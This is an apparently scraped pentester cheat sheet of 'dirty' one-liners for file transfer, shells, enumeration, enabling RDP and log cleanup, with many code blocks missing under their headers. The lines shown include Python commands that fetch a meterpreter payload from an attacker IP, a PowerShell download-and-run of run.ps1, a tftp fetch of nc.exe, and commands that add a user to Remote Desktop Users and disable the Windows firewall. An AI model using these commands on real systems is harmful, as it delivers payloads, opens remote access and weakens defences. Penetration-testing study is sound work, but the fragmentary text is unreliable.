One-Liners and Dirty Scripts
They don't have to be elegant, they just have to get the job done.
If I use it and it's not here, it's probably over here: https://github.com/burmat/burmatscripts
File Transfers
Python HTTP File Download
If you have remote command execution on a box with python - something like this should do the trick:
python -c "import urllib; f = urllib.URLopener(); f.retrieve('http://<attacker ip>/meterpreter', '/tmp/meterpreter');"or if it is a Windows box, it's not much different:
python.exe -c "import urllib; f = urllib.URLopener(); f.retrieve('http://<attacker ip>/rs_powershell.exe', '/temp/rs_powershell.exe');"BITS Download
Start-BitsTransfer -Source $URL -Destination $PathPowerShell Download with Custom HTTP Headers
$wc = new-object system.net.WebClient;
$wc.Headers.Add('User-Agent', "This is my agent, there is no one like it...") ;
$wc.DownloadString("http://192.168.119.120/run.ps1");VBS HTTP File Download
I got stuck with a borked up reverse shell on a Windows system with no file transfer methods and no modern scripting options. I scraped together the following one-liner to dump into my shell to get my payload over by writing a VBS script with echo statements to issue the download:
(originally sourced from here: http://karceh.blogspot.com/2011/06/vbs-download-file-from-internet.html)
Impacket's smbserver.py
As always, the impacket suite shines. Use smbserver.py to open an SMB server on your host for file exfiltration:
PERL HTTP File Download
Nginx + PUT Request
Picked up from here (thanks @ippsec), you can start a nginx server that can accept PUT requests for file transfer via HTTP:
Issue a PUT request from a remote system to upload files to /var/www/upload on your system. cURL:
PowerShell:
Netcat File Transfer
Because if Netcat is on the system, everything becomes easier:
(and if it's not - go get it: tftp -i 10.1.1.666 get nc.exe)
Certutil.exe Transfer
Using certutil.exe is a clever way to get files down to a victim if you are attacking a Windows box and limited on methods:
You can also write a file from Base64 encoded text, too:
(Source: http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html )
HTTP GET Request via Bash
RAW TCP Connection
Fetch remote file using a TCP connection. Run nc -l -p 12345 < "file_to_send" on the attacker box to send the file.
SQLMAP - User w/ FILE Privileges
If you have SQLi with a user account that has FILE privileges, you can use sqlmap to transfer the file to disk without formulating an INFO FILE query yourself:
To see if you have the privilege, attempt (you might not have rights) to dump the user table:
XML File Creation on Target (via copy/paste)
This is a clever way to get XML over to the system using copy and paste, and writing that XML to file:
Base64
Using Netcat
Copy and Paste
Shells / Reverse Shells
PHP Reverse Shell - Minified
(originally sourced from: https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php)
Python Reverse Shell for Windows
WinRM Ruby Shell
(originally sourced from: https://github.com/WinRb/WinRM)
Enumeration
Finding Vulnerable Applications (Linux)
This one is pretty dirty, and pretty awesome. Run a one-liner on your victim to generate a list of packages (rpm or dpkg) on the machine (/tmp/packages.txt). Copy this file to one that has searchsploit, and run the script. Generate the file with:
(thanks to chryzsh for doing the heavy lifting)
"Proc Mon" (IppSec) Script
One of the handiest scripts to find running jobs and processes in real time. Thanks to IppSec for sharing it with the world:
SNMP Walker
Ping Scan
Linux Ping Scanning:
You can use a regular-old for loop:
Or you can try out the following Python script:
Windows Ping Scan:
Not the fastest or the cleanest, but it's an easy way to generate a ping scan from a cmd prompt:
REMOTE DESKTOP (ENABLE / ADD)
Enable RDP
If you need to add your user to the group, you can use: NET LOCALGROUP "Remote Desktop Users" domain\user /ADD. And if you need to disable the firewall altogether: NetSh Advfirewall set allprofiles state off
SYSTEM CLEANUP
Purge Linux Logs
Covering Tracks
Last updated